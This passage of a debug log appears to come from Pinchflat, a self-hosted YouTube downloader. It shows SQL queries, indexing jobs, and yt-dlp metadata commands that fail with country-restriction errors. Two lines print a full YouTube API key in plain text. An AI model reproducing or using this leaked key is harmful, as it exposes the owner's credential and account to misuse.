"media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:55.811 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:55.811 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:55.811 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:57:55.811 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 17:57:55.812 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:55.812 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:55.812 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:55.812 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:55.953 [debug] QUERY OK source="media_items" db=0.6ms idle=140.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 17:57:55.956 [debug] QUERY OK source="media_items" db=2.8ms idle=141.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:57:55.958 [debug] QUERY OK source="tasks" db=0.4ms idle=1.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800346, 5, ~U[2026-02-10 23:57:55Z], ~U[2026-02-10 23:57:55Z]] 17:57:55.958 [info] {"args":{"id":5},"id":3800307,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147828,"event":"job:stop","queue_time":530556,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:56.085 [debug] QUERY OK source="media_items" db=0.8ms idle=126.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 17:57:56.086 [debug] QUERY OK source="settings" db=0.1ms idle=127.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:56.086 [debug] QUERY OK source="settings" db=0.0ms idle=127.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:56.086 [debug] Running yt-dlp command for action: get_media_attributes 17:57:56.087 [debug] QUERY OK source="settings" db=0.0ms idle=128.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:56.087 [debug] QUERY OK source="settings" db=0.0ms idle=122.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:56.087 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:56.087 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/93/69/9369f49d3b54be7d937df7fc2079f39452cb013e1569f621713ff3e1b9692a0d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:57:57.340 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/93/69/9369f49d3b54be7d937df7fc2079f39452cb013e1569f621713ff3e1b9692a0d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:57:57.340 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:57:57.341 [debug] QUERY OK source="settings" db=0.1ms idle=1254.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:57.341 [debug] QUERY OK source="settings" db=0.0ms idle=1254.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:57.341 [debug] Running yt-dlp command for action: get_media_attributes 17:57:57.353 [debug] QUERY OK source="settings" db=0.1ms idle=1266.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:57.353 [debug] QUERY OK source="settings" db=0.0ms idle=1266.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:57.354 [debug] QUERY OK source="settings" db=0.0ms idle=548.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:57.354 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/12/33/1233608f06b6c9ed4a6791b7fb1f220d43a16a0945b27de85013cca32a718dba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:57:58.759 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/12/33/1233608f06b6c9ed4a6791b7fb1f220d43a16a0945b27de85013cca32a718dba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:57:58.759 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:57:58.759 [debug] QUERY OK source="settings" db=0.1ms idle=1418.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:58.760 [debug] QUERY OK source="settings" db=0.0ms idle=1406.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:58.760 [debug] Running yt-dlp command for action: get_media_attributes 17:57:58.761 [debug] QUERY OK source="settings" db=0.0ms idle=1407.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:58.761 [debug] QUERY OK source="settings" db=0.0ms idle=1407.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:58.761 [debug] QUERY OK source="settings" db=0.0ms idle=955.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:58.762 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6e/d1/6ed17bf8f8400f72721903dd431413983849796e17134a9f9e95ff0c4ca4810b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:57:59.997 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6e/d1/6ed17bf8f8400f72721903dd431413983849796e17134a9f9e95ff0c4ca4810b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and 